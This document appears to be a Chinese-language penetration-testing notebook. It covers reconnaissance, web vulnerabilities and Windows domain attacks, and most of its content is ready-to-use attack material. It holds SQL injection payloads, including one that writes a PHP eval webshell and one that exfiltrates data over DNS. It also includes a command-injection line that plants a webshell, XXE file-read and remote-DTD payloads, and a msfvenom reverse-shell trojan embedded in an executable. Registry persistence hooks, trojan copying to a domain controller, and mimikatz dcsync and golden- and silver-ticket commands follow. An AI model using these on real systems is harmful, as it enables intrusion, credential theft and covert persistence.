# 确定目标
域名 | IP | 公司名称 | 小程序、公众号、自媒体账号 | app |
---|
# 信息收集
企业信息
icp 备案 | 域名 | 搜索引擎 | WHOIS | 爱企查 |
---|
人员
小蓝本 |
---|
子域名
- 子域名在线收集
- 证书透明度
- 搜索引擎
- site:xxx.cn -www,dev
- 空间搜索
- fofa
- 工具
- oneforall
- ksubdomain
- APP 域名爆破 AppInfoSannner
IP
端口
- nmap 扫服务
- masscan 扫端口
网站指纹
- 架构、语言、中间件
- 响应头
- 浏览器插件
- 工具:Ehole、whatweb (kali)
- 在线平台:whatcms.org,yunsee.cn,潮汐指纹
CDN
旁站
- 其他服务
C 段
- 192.168.0.0/24
目录探测
- 御剑
- WebPathBrute
- DirBuster
- dirb(kali)
- robots.txt
- dirsearch
WAF
- Heimdallr (停止维护)
- WAF(kali)
- 空间测绘
- vpn.xxx.com
泄露接口
敏感信息
源代码
- GitHack(git 源码泄露)
- Seay-SVN(SVN 源码泄露)
- mac
- 三合一:github.com/0xHJK/dumpall
- 网站备份 bak zip tar
# 搜索语法
语法 | 含义 | 示例 |
---|---|---|
OR(必须大写) | 有其中一个关键字 | 通缉犯 OR 悬赏 |
- | 排除相关关键字 | 小米 - 手机 -Mi |
“ ” | 严格按关键字搜索 | “小米” |
intitle: | 包含标题有关键字 | intitle: 后台登录 intitle:index of |
* | 任意一个字符 | inurl:*.baidu.com |
site: | 限定域名来自于关键字 | site:zhihu.com |
inurl: | url 中有关键字 | inurl:login |
intext: | 内容包含关键字 | intext: 星星 |
filetype: | 包含文件类型 | intitle:"身份证" &&"清单" | "名单" filetype:pdf |
link | 包含链接 | link:baidu.com |
# 空间测绘 (fofa)
关键字 | 示例 |
---|---|
domain | domain="xxx.cn"&& (title=" 管理 ") |
title | title="管理" |
protocol | domain="enn.cn" && (protocol="ftp" ll protocol="mysql" ) |
body | body=“xxx”&& (title="管理") |
app | domain="enn.cn"&& (app=" 管理 ") |
# 漏洞利用
POC:漏洞验证代码
EXP:漏洞利用代码
集成工具
Goby(Windows,收费)
ARL(linux docker 部署,收费,免费版停止维护)
# SQL 注入(mysql)
# 查询数据
' or 1=1 -- ##万能查询注入sql | |
' or '1'='1 ##删除sql注入 | |
show warning ##查看报错 | |
INSERT INTO users(uid uname,password isadmin) | |
SELECT 2,Hanson02','xmf123',1; ## 常用 insert | |
Insert into users(uid,username,password,isadmin) | |
Values(1,'<scipts javascript>cracker,60,60,G0</scripts>''hs123' 1) ## 后门思路 | |
show cloumns from users; ## 显示字段 | |
show create table users; ## 显示字段 | |
Select * from users where uid in (select uid from admin); ## 两表查相同数据 | |
select * from users union select * from admin; ## 两表全查 | |
select * from user where uid = 11079 union select 1,2,user() ,database(),@@datadir; ## 获取数据库名称,数据库路径,数据库用户 | |
and !!!2=2 ## 用多重不等于判断 | |
'))")) --+ ## 判断闭合方式 |
# 权限控制
grant all privileges on *.* to admin@'%' identified by 'admin.123' ## 创建用户密码并允许所有 IP 访问所有数据库 |
# 重点表
mysql.user host,user,authentication_string ## 数据库用户信息 | |
.db ## 存放数据权限表单 | |
.columns_priv ## 字段权限表 | |
infomation_schema.chemata ## 保存当前系统中所有数据库信息 | |
.tables ## 表的信息 | |
.columns ## 字段 |
# 数据库函数
version() ## 数据库版本 | |
user() | |
database() | |
@@datadir() | |
length() | |
联合注入: | |
concat() ## 没有分隔符的连接字符串 | |
group_concat() ## 多个数据在一行取出 | |
rand() ## 随机函数 | |
floor() ## 取整函数 | |
count() ## 汇总函数 | |
group by clause ## 分组语句 | |
报错注入: | |
EXTRACTVALUE(xxx,concat('~',payload,'~')) ##xml 查询爆破,第二个参数可控 | |
updatexml(xxx,payload,xxx)--+ ## 同上 | |
ST_LatFromGeoHash() | |
ST_Pointfromgeohash() | |
GTID() | |
exp() | |
盲注: | |
left() ## 取最左边的字符 select left (database (),1)='s' | |
substring() ## 取字符串任意长度的字符 | |
position() ## 取集中的位置 | |
show variables like 'general%'; ## 查看 mysql 日志存放路径 | |
set global general log ="ON"; ## 开启 mysql 日志 | |
set globalgeneral log fle-"D:\phpstudy pro\wwwshell.php"; ## 设置 mysql 日志目录 |
# 注入语句示例
?id=1' or 1=1 --+ # %23 ##简单注入 | |
?id=1 order by 3 | |
?id=1' union select 1,version(),database() ## 简单联合注入 | |
?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+ ##联合注入查表 | |
?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+ ## 盲注 | |
?id=1' and if(1=1, sleep(5), null) --+ ##时间盲注 | |
?id=1' or updatexml(1,concat('~',(select database())),1) --+ ## 报错注入 | |
## 请求头注入 | |
先在数据库中插入payload再进行注入 ## 二次注入 | |
?id=1' union select 1,loadfile(concat('//',(select database()),'.m0bkps2j.eyes.sh/abc')),3 --+ | |
##DNSLOG 注入,前提 secure_file_priv = 为空,服务器为 Windows | |
kobe%df'+or+1=1# ##宽字节注入 | |
?id=-1' union select 1,2,load_file('C:/phpstudy_pro/WWW/sqli/sql-connections/db-creds.inc') %23 ##sql 查文件,前提 secure_file_priv = 为空 | |
?id=-1' union select 1,2,'<?php | |
eval($_POST["pass"]);' | |
into outfile 'C:/phpstudy_pro/WWW/sqli/sql-connections/1.php' %23 | |
##sql 写文件,前提 secure_file_priv = 为空 |
# XSS
# CSP 策略
只允许加载本地源图片,用于防止 XSS 注入
# 文件上传
# update-labs 攻略(php)
关卡 | 通关技巧 |
---|---|
1 | 前端 js 绕过,删除对应代码 |
2 | 修改请求头文件类型 |
3 | 上传 php 其他文件类型绕过 |
4 | 上传.htaccess 文件绕过 |
5 | 大小写绕过: phP |
6 | 空格绕过: php |
7 | . 绕过: php. (Windows 特性) |
8 | 文件隐藏寄生: .php::$data (Windows 特性) |
9 | 规则多写绕过: .php. . |
10 | 双写: .pphphp |
11 | 文件名后 %00 截断 ( %00=null ) |
12 | 同 11 关,区别是 post 请求 |
13 | 图片码 copy xxx.jpg /b + shell.php /a webshell.php <br /> /b :以二进制文件格式打开 <br /> 头部 2 字节检测,文件包含漏洞 |
14 | 同 13 关 |
15 | 判断文件类型 |
16 | 上传的图片码会二次渲染后保存新图片,将无用的十六进制去除 <br /> 找和原图片码相同的十六进制插入 payload,gif 格式更容易通过 |
17 | 条件竞争,并发上传,文件短时间内会在对方服务器上保存 <br /> 访问文件,目的是为了写入另一个文件 |
18 | 同 17,但需确认 apache 用哪些后缀进行 php 解析 (httpd.conf) |
19 | 上传文件名称保存 php |
20 | 1 修改文件类型 image/jpeg<br />2. 名称 name='save_name [0]' <br />3. 名称 name='save_name [2],<br />4. 后缀类型改为 jpg |
# 文件包含(php)
本地文件包含(LFI:local file include)
远程文件包含(MFI:Remote file include)
-
调用使用 http
-
allow url fopen=on 必须是开
-
allow url include=on 必须是开
-
文件包含当利用 include\include_once\require\require_once 函数调用,不管什么文件都会被解析执行
伪协议
file:// ## 必须使用绝对路径,不受配置影响 | |
php://filter/resource | **... ## | |
php://input ## 可用 post,不受配置影响 | |
phar:// ##zip 内的文件调用,不受配置影响 | |
zlib://compress.zip:// ## 调用,不受配置影响 | |
data://text/plan,base64, 代码 ## 配置必须是 on | |
日志文件getshell ## 要使用 base64 传输到 log 文件利用 |
# CSRF
XSS 和 CSRF 的区别
- XSS 主要是盗取受害者的 cookie
- CSRF 是直接利用受害者在客户端未失效的身份信息
攻击方式
- 构造隐藏表单
- 构造图片或链接隐藏
- 利用 js 自动执行
- 利用第三方网站或应用来执行
- 自媒体
# DVWA
CSRF
低:删除 Referer
中:构造 get 请求,修改 Referer
# 结合 XSS
使用 img|scirpt src=get 方式
# SSRF
http://www.baidu.com/link=http://www.bai.com |
利用 SSRF 漏洞:目标是从外网无法访问的内部系统
常见于分享链接,转发,有道翻译,转码(转客户端)服务,未公开的 api,图片加载和下载
1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
2. 攻击运行在内网或本地的应用程序 (比如溢出);
3. 对内网 web 应用进行指纹识别,通过访问默认文件实现;
4. 攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击 (比如 struts2,sq1i 等);
5. 利用 file 协议读取本地文件等。
6. 各个协议调用探针:http,file,dict,ftp,gopher 等
- 从 url 中找关键词
利用 google 语法加上关键字找 SSRF 漏洞 | |
?share= | |
?wap= | |
url | |
link | |
src | |
source | |
target | |
display | |
sourceURL | |
imageURL | |
domain |
- 利用伪协议
file://C:rebots.txt | |
dict://192.168.0.0:80 | 0.0:3306 ## 用于获取目标服务器端口上运行的服务版本信息 | |
ftp://0.0:3389 ## 不太准 需要内置 ftp 命令 | |
sftp:// ## 类似 ssh | |
gopher://0.0:80/_POST/user.txt%20<br>host:www.ssrf.com:80 |
# 绕过思路
php 加 @
http://www.aaa.com@www.bbb.com |
短链接
ip 进制转换
2 进制 | |
8 进制 | |
16 进制 | |
ipv6:[::1] | |
颜文字数字:1️⃣ |
CRLF 编码
# 总结
- Xss 跨站脚本攻击:利用 HTML 执行攻击,受害者是用户,盗取 cookie
- CSRF 跨站请求伪造:利用受害者未失效的身份认证信息,对服务器直接执行攻击
- SSRF 服务器请求伪造:利用服务器的身份去执行攻击
# RCE 任意命令执行漏洞
条件
1、代码中存在调用命令的函数
2、函数中存在用户可控的点
3、可控点没有过滤,或过滤不严格
pikachu RCE exel ping 抓包
127.0.0.1 && echo "<?php eval($_GET['a']);?>" > rcshell.php
绕过思路
前提:需要知道服务器上的文件目录
拼接绕过,结合系统的特性来
linux cat user.txt => a=c;b=at;c=user;$a$b $c.php
windows可以使用环境变量特性,用~进行拼接
cat b >> a
空格绕过
+ %09
单引号,双引号绕过
cat user,txt => ca""t us''er.txt
转义符:\
cat user.txt =>ca\t u\s\e\r.txt
管道符:|
user.txt 进行base64编码 dXN1ci50eHQ=cat
cat "dxNlci50eHQ=" | base64 -d
通配符绕过:
*:任意字符
?:任意单个字符
cat us??.txt cat u???.???
linux 网站需要有写权限
cat>/etc/passwd
无回显 仅 linux
ping 'whoami'.dnslog...
# 挖掘技巧
白盒
直接搜索含有常用的调用函数,上下文看看有没有可控的参数
黑盒
找到系统可能调用的第三方资源,猜测后台代码是什么样的,后进一步进行分析,是否存在限制或者漏洞,用 fuzz 进行测试
# XXE 漏洞
pikachu xxe 漏洞
读服务器文件
<?xml version="1.0"?> | |
<!DOCTYPE foo [ | |
<!ENTITY yjjy SYSTEM "file:///c:/windows/win.ini"> | |
]> | |
<foo>&yjjy;</foo> |
远程加载
自建服务器,存放dtd文件 | |
<!ENTITY yjjy SYSTEM "file:///c:/yjjy.txt"> | |
前端传参 | |
<?xml version="1.0"?> | |
<!DOCTYPE foo [ | |
<!ENTITY % a SYSTEM"http://10.135.32.105/yjjy.dtd"> | |
%a ; | |
]> | |
<foo>&yjjy;</foo> | |
通过http协议,协助SSRF | |
无回显 | |
伪协议请求 |
# 挖掘技巧
通过文件类型进行判断
<?xml version="1.0"?> | |
<!DOCTYPE fo [ | |
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> | |
]> | |
<user><username> | |
&xxe ; | |
</username><password>bb</password></user> |
通过参数传递(需要 url 编码)
xml=xxxxxxxxxxx |
通过修改请求头 MIME
比如json | |
将MIME的application/json -> application/xml | |
{username:'aaa','password':'bbb'} | |
<?xml version="1.0"?> | |
<!DOCTYPE a [ | |
<!ENTITY d SYSTEM "file:///C://Windows//win.ini"> | |
<user> | |
<username>&d;</username><password>aaa</password></user> |
# 反序列化漏洞
利用条件
- 必须有 unserialize () 函数
- unserialize () 函数的参数必须可控
- 文件中存在可利用的类,且类中有魔术方法
php 序列化
new car("byd","混动",2022,12.99); | |
0:3:"car":4: {s:7:"carName";s:3:"BYD";s:6:"system";s:6:“混动";s:4:"date";i:2022;s:5:"price";d:12.99;} |
数据 | 表示 |
---|---|
0:3:"car":4 | O:object,3:3 个字符,car:对象,属性个数 |
s:7:"carName"; | S:String,7:7 个字符,carName:值 |
i:2022; | i:int,值:2022 |
d:12.99; | d:float 浮点数,12.99:值 |
反序列化
object(_PHPIncomplete_Class)#1(5){ | |
["_PHP_ Incomplet_Class_Name"]=>string(3) "car" | |
["carName"]=> string(3) "BYD" | |
["system"]=> string(6) "混动" | |
["data"]=>int(2022) | |
["price"] => float(12.99) | |
} |
POP 链
<?php | |
$a = unserialize($_GET['a']) | |
echo $a; | |
<?php | |
$a= new Error("<scrpt>alert(1)</scrpt>"); | |
$b = serialize($a); | |
echo urlencode($b); |
pikachu 反序列化漏洞
<?php | |
class S | |
{ | |
var $test=''pikachu; | |
} | |
$s= new S(); | |
$s-> test = "<script>alert(0)<script> | |
$aa= serialize($s) | |
echo $aa; | |
> |
# 逻辑漏洞
常见漏洞
- 支付漏洞
- 修改密码
- 需要旧密码
- 验证不输入旧密码可否修改,或者尝试抓包将提交旧密码参数删除
- 验证旧密码输入处是否存在 sql 注入
- 验证是否可跳过输入旧密码步骤直接修改新密码
- 不需要旧密码
- 验证修改密码提交数据中是否包含了用户身份信息
- 验证提交的用户身份信息被修改后是否可以成功修改
- 验证修改 cookies 中的每一项包含用户身份的信息是否会影响修改结果
- 验证是否可以在不登陆的情况下直接提交修改密码的请求进行修改
- 验证是否可以越权修改任意用户密码
- 需要旧密码
- 密码找回
- 越权
# 漏洞扫描
AWVS 漏洞扫描工具
one-fox 漏洞工具集合 xray 漏洞扫描工具 goby 漏洞扫描 Yakit 漏洞扫描
afrog 漏洞扫描
nuclei poc:
https://github.com/ExpLangcn/NucleiTP
# 配置挖洞环境
burp 插件
名称 | 下载地址 | 说明 | 注意 |
---|---|---|---|
FakeIP | https://github.com/AeolusTF/BurpFakeIP | 源 IP 管理 | |
Hae | BP 商店 | 历史高亮 | 需要更新配置文件 |
Knife | https://github.com/bit4woo/knife | 中文字符,过滤杂包,常用 payload | |
DomainHunterPro | https://github.com/bit4woo/domain_hunter_pro | 综合收集信息插件 | |
xialiao | BP 商店 | 自动生成数据便于注册(fuzz) | |
xiayue | https://github.com/smxiazi/xia_Yue | 越权 | |
autoDecoder | https://github.com/f0ng/autoDecoder | 数据包的处理(加解密、爆破) | |
Turbo Intruder | https://github.com/PortSwigger/turbo-intruder | 请求轰炸 |
浏览器插件
名称 | 下载地址 | 说明 |
---|---|---|
charset | 商店 | 修改编码 |
superSearchPlus | 商店 | 信息收集 |
hackbar | 商店 | 请求工具 |
findsomething | 商店 | 信息收集 |
User-Agent Switcher for Chrome | 商店 | UA 设置 |
Proxy SwitchyOmega 3 (ZeroOmega) | 商店 | 代理配置 |
Wappalyzer | 商店 | 信息收集 |
WhatRuns | 商店 | 信息收集 |
# 内网渗透
渗透步骤
信息收集
> 获取权限
> 横向移动
> 权限维持
> 清理痕迹
windows 信息收集
linux 信息收集
# MSF
名词
exploit: 攻击方式 | |
payload: 攻击载荷 | |
auxiliary: 辅助检测(收集) |
目录说明
目录 | 说明 |
---|---|
auxiliary | 主要包含渗透测试中一些辅助性的脚本,这些即本功能有扫描,嗅探,破解,注入,漏洞挖掘等。 |
encoders | 存放各种编码,主要用于绕过入侵检测和过滤 |
exploits | 包含了 exp、0day, 各种洞利用的脚本,主要的攻击代码全在这 |
exp 的路径的命名规则是: 系统/服务/模块 ,例如: exploit/windows/local/tokenmagic |
|
payloads | 主要是在目标机执行 |
命名规则: 系统/类型/名称 |
|
post | 这个目录里放着 msf 的 exploits 执行成功后,向目标机执行的一直些操作,比如:提权,获取 shell |
基本命令
msfconsole ## 启动 MSF | |
apt-get isntall metasploit-framework ## 更新 MSF (root 用户) | |
search name:ms17 type:exploit ## 搜索 | |
use 0 ## 使用 | |
back ## 返回 | |
show option ## 查看选项 | |
show payloads ## 查看 payload | |
show targets ## 查看目标列表 | |
set/unset ## 设置值 |
类型命名规则
shell: 上传一个 shell | |
dllinject: 注入一个 dll 到进程 | |
patchup: 修补漏洞 | |
upexec: 上传并执行一个文件 | |
vncinject: 高级的 payload | |
meterpreter: 高级的 payload | |
passive: 高级的 payload |
名称命名规则
shell_find_tag 在一个已建立的连接上创建一个新 shell | |
shell_reverse_tcp 反向连接到攻击者主机并创建一个 shell | |
bind_tcp 监听一个 TCP 连接 | |
reverse_tcp 反向建立 tcp 连接 | |
reverse_http 反向建立 http 连接 | |
add_user 创建一个新用户并添加到管理组 | |
tcp_allports 在所有可能的端口进行测试 |
# Meterpreter
background 放置后台 | |
sessions 会话列表 | |
getuid 获取账户信息 |
# msfvenom-payload 木马
-l 列出所有可用的payload,编码器,空指令…… | |
payloads, encoders, nops, platforms, archs, encrypt, formats, all | |
查看所有payloads: msfvenom -l payloads | |
查看所有encoders: | |
-p 指定要使用的msf的payload,也可以使用自定义payload,几乎是支持全平台的 | |
-a 选择架构平台 x86 | x64 | x86_64 | |
-f 指定payload输出的文件类型,--help-formats,可查看支持的所有输出格式 | |
-e 指定要使用那种编码器 | |
-i 指定编码的次数,如果使用编码器 | |
-b 指定坏字符,比如空字符截断问题,等等…… | |
-x 使用一个自定义可执行程序模板,并将payload嵌入其中 | |
-k 当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用 | |
-o 指定创建好的payload的存放位置 | |
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.1698.0.0 lport=4444 -x npp.exe -f exe > xxx.exe | |
use exploit/multi/handle | |
handle -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp |
# CS(Cobalt Strike)
关键文件 — 放入 linux,赋予 X 权限
teamserver | |
TeamServerImage | |
./teamserver ## 启动 |
界面说明
Beacon: 轻量级的命令与控制代理 | |
TeamServer: 团队成员协作的核心 | |
有效载荷:用于在目标系统建立 Beacon | |
监听器:用于接收 beacon 连接的服务 | |
后渗透工具:自己添加 | |
模拟攻击:钓鱼攻击 |
会话转移
background | |
set session ## 选择会话 | |
use exploit/windows/local/payload_inject ## 使用模块 | |
set payload windows/meterpreter/reverse_http ## 设置 payload | |
set lhost xxx ## 设置为 csIP 和端口 | |
set disablepayloadhandle true ## 关闭原本 payload 的监听 | |
exploit | run -j ## 运行并转接 |
扩展插件
自己搜补充
# windows 提权
getshell 提权
通过网站漏洞进行提权,先小马,再大马 (CS 或者其他) |
内核漏洞提权
方法 1:使用 MSF getsystem | |
getuid | |
migrate 进程号 | |
方法 2:内核提权 | |
利用系统补丁获取漏洞 | |
补丁分析平台:https://tools.zjun.info/getmskb/ | |
exp 平台:https://github.com/SecWiki/windows-kernel-exploits/tree/master | |
方法 3:BypassUAC | |
msf 里面搜索 bypassuac | |
search bypassuac | |
方法 4:UACME 提权 | |
项目地址:https://github.com/hfiref0x/UACME | |
代码:akagi64 61 c:\windows\system32\charmap.exe | |
使用 方法:程序名 编号 想要执行的程序 | |
思路:将要执行的程序换成提权程序或是木马文件 |
# linux 提权
内核漏洞提权
效率最高的提权方式: | |
通过工具或脚本确认当前系统可以提权的CVE或直接通过工具提权 | |
工具: | |
1.linux-exploit-suggester | |
项目地址:https://github.com/The-Z-Labs/linux-exploit-suggester | |
2.linux-exploit-suggester-2 | |
项目地址: | |
https://github.com/jondonas/linux-exploit-suggester-2/ | |
脚本利用合集: | |
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs | |
重点关注:脏牛(Dirty COW)Dirty Pipe(CVE-2022-0847) | |
SUID:临时在系统中运行高权限的应用,必须是root权限 | |
寻找SUID: | |
方法1:利用命令寻找 | |
find / -user root -perm -4000 -print 2>/dev/null | |
find / -perm -u=s -type f 2>/dev/null | |
find / -user root -perm -4000 -exec ls -ldb {} \; | |
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; | |
find . -perm /4000 | |
有安全问题的指令程序: | |
Nmap (2.02<= nmap<5.2) 带交互模式,允许执行shell命令 | |
5.2.0之后 echo 'os.execute("/bin/sh")' > getshellsudo nmap --script=getshell | |
vim | |
find | |
Bash | |
More | |
Less | |
Nano | |
cp | |
taskset | |
xxd |
错误配置提权
错误配置了 sudoer 文件,允许指定用户具备 sudo 所有权限 |
面试问题: | |
sudoers 和 suid 提权,有什么区别? | |
区别: | |
sudoers 提权是长期,suid 是临时的(前者第一次使用需要当前用户密码) |
检测
- https://github.com/diego-treitos/linux-smart-enumeration
- https://github.com/peass-ng/PEASS-ng/releases/tag/20240919-31659910
# 数据库提权
前提
- 数据库服务没有降权
- 获得 root 用户账号密码
常见数据库端口
MySQL 3306 root | |
SQL Server 1433 sa | |
Oracle 1521 sys 或 system | |
pointbase 9092 | |
DB2 50000 | |
sybase 5000 | |
postgreSQL 5432 postgre | |
mongoDB 27017 | |
redis 6379 | |
memcached 11211 |
方法
- 查看数据库文件
常见数据库配置文件或文件夹: | |
db | |
sql | |
data | |
inc | |
config | |
conn | |
database | |
common | |
include | |
application |
- 查看数据库备份文件
(mysql).myd |
数据库加密方式
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword')))); | |
## 使用了两次 SHA1 夹着一次 unhex 的方式对用户密码进行加密,要访问需要数据库开启远程访问 |
# windows 权限维持
隐藏木马
## 系统保护并且隐藏的文件 | |
attrib +s +h xxx.txt |
关闭程序时触发木马 —— 修改注册表
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\windows\new.exe"
打开程序时触发木马(下面代码有 bug)
## copy要负载的程序
copy calc.exe _calc.exe
## 添加注册表
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\windows\new.exe" /f
系统登录触发木马 ——winlogon
## 修改注册表中的Userinit的值
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\windows\new.exe"
服务 ——MSF(重启后)
使用入侵木马
监听运行
使用服务木马
生成计划任务 schtasks
schtasks /Create /TN bak /SC DAILY /ST 19:49 /TR "c:\test.exe"
踩坑说明:
木马路径不要使用有空格的目录
开机启动项 —— 菜单 \ 程序 \ 启动
镜像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t REG_SZ /d "C:\test.exe" /f
# Linux 权限维持
见 74
# 横向移动
寻找域控(CS 操作)
##看IP地址
ipconfig /all
##看域名
systeminfo
##插件获得密码
##IPC挂载
net use z: \\IP地址或主机名 “密码” /user:域\用户
##上传木马到域控(木马是正向连接)
copy 木马 \\192.168.0.0\C$
##创建计划任务
##CS连接
connect 192.168.0.0 4444
常见端口
135,139,445,21,22,23,25,53,80,110,443,1433,1521,1863,3306,3389,5631,5632,5000 | |
21 端口:FTP 文件传输服务 | |
22 端口:SSH 端口 | |
23 端口:TELNET 终端仿真服务 | |
25 端口:SMTP 简单邮件传输服务 | |
53 端口:DNS 域名解析服务 | |
80 端口:HTTP 超文本传输服务 | |
110 端口:POP3 “邮局协议版本 3” 使用的端口 | |
443 端口:HTTPS 加密的超文本传输服务 | |
1433 端口:MS SQL*SERVER 数据库 默认端口号 | |
1521 端口:Oracle 数据库服务 | |
1863 端口:MSN Messenger 的文件传输功能所使用的端口 | |
3306 端口:MYSQL 默认端口号 | |
3389 端口:Microsoft RDP 微软远程桌面使用的端口 | |
5631 端口:Symantec pcAnywhere 远程控制数据传输时使用的端口 | |
5632 端口:Symantec pcAnywhere 主控端扫描被控端时使用的端口 | |
5000 端口:MS SQL Server 使用的端口 |
# 密码喷洒
工具
(新)impackt 套件下载地址:数据包 (coresecurity.com)
(老)windows:https://github.com/maaaaz/impacket-examples-windows
喷洒利用
atexec:自带提权
域环境用法: | |
atexec.exe <domain>/<username>:<password>@<ip> "<payload>" | |
单个设备本地使用: | |
atexec.exe ./<username>:<password>@<ip> "<payload>" | |
使用 hash:(hash 是密码的 hash) | |
atexec.exe -hashes :<hash> <domain>/<username>@<ip> "<command>" |
python 转 exe
1. pip install pyinstaller
2. 在Terminal下输入:“pyinstaller -F -w *.py” 就可以生成exe。生成的文件放在同目录dist下。
-F(注意大写)是所有库文件打包成一个exe
-w是不出黑色控制台窗口。
socket 代理转发
-
CS 客户端找到拿到 webshell 的 webser, 右键 ==> 代理转发 ==>socks 代理
-
利用 proxifiler (在使用当中更灵活)
windows 本地密码爆破
- python 库 passlib.hash 对应 windows 中的密码
- lsass.exe 处理用户输入密码的进程
# 黄金票据
什么是黄金票据及对应服务
● Client - 客户端 | |
● Server - 服务器 | |
● KDC=DC (Domain Controller) = | |
○ AD(account database)+ | |
○ AS(Authenication Service 认证服务)+ | |
○ TGS(Ticket Granting Service 票据授予服务 - 白银票据) | |
票据(Ticket):是网络对象互相访问的凭证 | |
TGT(Ticket Granting Ticket):用来生成票据的,票据(Ticket)他妈 —— 黄金票据 | |
用于身份认证、存储在内存当中,默认有效期为 10 个小时 | |
KDC:负责管理票据、认证票据、分发票据 |
黄金票据伪造
-
krbtgt
是域中的一个特殊用户,该用户是用于Kerberos
身份验证的帐户,获得了该用户的 hash,就可以伪造票据进行票据传递 -
使用
lrbtgt
用户生成票据被称为黄金票据(TGT
)
特点
- 需要与 DC 通信
- 需要
krbtgt
用户的 hash(KDChash
)
# 获取 krbtgt 用户 hash
-
利用:mimikatz
-
好处:会模拟域控,向目标请求账号的密码信息。动静很小,不用直接登录域控,也不需要提取 NTDS.DIT 文件
-
注意:需要域管理员或其他类似的高权限账号
mimikatz @lsadump::dcsync /user:krbtgt
或
dcsync god.org god\krbtgt
或
shell wmic useraccount where name="krbtgt" get sid
# 伪造黄金票据
使用之前:
mimikatz kerberos::list 查看所有凭据信息
mimikatz kerberos::purge 清除凭据
命令格式:mimikatz kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt
示例:
mimikatz kerberos::golden /domain:god.org
/sid:S-1-5-21-1218902331-2157346161-1782232778 /rc4:b097d7ed97495408e1537f706c357fc5 /user:administrator /ptt
# 利用 MSF 来伪造
1)将会话转交给 MSF
CS 添加监听器:foreign_http | |
IP 为 MSF 地址 | |
MSF 启动监听器: | |
handler -H CS 服务器地址 -P 监听端口 -p windows/meterpreter/reverce_http | |
cs 上选择对应会话,凭据提取 -> 新建会话 |
2)利用
使用 meterpreter 中的 kiwi 模块: | |
load kiwi | |
创建票据 | |
命令格式:golden_ticket_create -d <域名> -u < 任意用户名 > -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket 本地存储路径如:/tmp/krbtgt.ticket> |
# 白银票据
特点
-
无需与 KDC 交互
-
需要目标服务器的 NTLM hash--- 服务类型
# 信息收集
域名 net time /domain ipconfig /all | |
域的 SID 值 (去掉最后的 500) wmic useraccount get name,sid | |
目标机器的 FQDN net time /domain 就是 hostname + 域名 /target:\\WIN-75NA0949GFB.god.org | |
可利用的服务 CIFS (磁盘共享的服务) /service:CIFS | |
要伪造的用户名 /user:Administrator | |
服务账号的 ntlm hash (Primary Username : WIN-75NA0949GFB$ 带 $ 的 hash,不是 admin 的) /rc4:08d93ddf15a6309a46daaa7ec8565296 | |
# 生成了 mimikatz.log 文件 (域控主机执行) | |
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit | |
/user: 要伪造的目标用户 / 计算机 Target Account/Computer to Impersonate | |
/ptt: Optional (Will Inject Ticket or you can do with Rubeus) | |
/service:cifs 服务参数为 cifs | |
/domain 参数为域名 | |
/sid 参数为域 sid (whoami /user) | |
/target The FDQN 指定域内的机器 /target:WIN-75NA0949GFB.god.org | |
/rc4 服务账号的 ntml hash | |
/user 需要伪造的用户名 NTLM Hash of User Password/Computer Password |
# 获取服务器 NTLM hash
服务器服务NTLM hash: 计算机名+$
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
# 伪造过程
格式:mimikatz kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器FQDN> /service:<服务类型> /rc4:<服务账号NTLM Hash> /user:<需要伪造的用户名> /ptt
FQDN:计算机名+域名
域控制:OWA2010CN-God.god.org
OWA2010CN-GOD$:2c86f8495f015ed909fa0c158da87914
用普通用户执行:
格式:mimikatz kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-God.god.org /service:cifs /rc4:2c86f8495f015ed909fa0c158da87914 /user:administrator /ptt
# 区别
访问权限不同
TGT:可以获取任何 kerberos 服务权限 | |
TGS:只能访问指定的服务 |
加密方式不同
TGT:由 kerberos 的 hash 加密 | |
TGS:由服务器密码的 Hash 加密 |
认证流程不同
TGT:需要和域控交互 | |
TGS:直接跳过域控访问对应服务器 |
重点提示: | |
ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage : c000000d 经过我的一系列实验,域成员主机如果为 windows xp 或 windows server 2003,是无法正常伪造票据的 |
# 靶场
BLUE-LOTUS ## XSS 构造模板靶场 | |
TLXSS 平台 ## xss 构造模板平台 | |
Beef-Xss ## XSS 工具(Kali 自带) | |
sqli-labs ## sql 注入靶场 | |
exphub ## exp 靶场 | |
pikachu ## 漏洞通用靶场 | |
awvs ## 漏洞通用靶场 | |
vulfocus ## 漏洞集合靶场 | |
update-labs ## 文件上传靶场 | |
xxe-lab ## XXE 靶场 | |
portSwigger ## 逻辑靶场 | |
ctf.show ##ctf 靶场 | |
doraBox | |
BruteForc | |
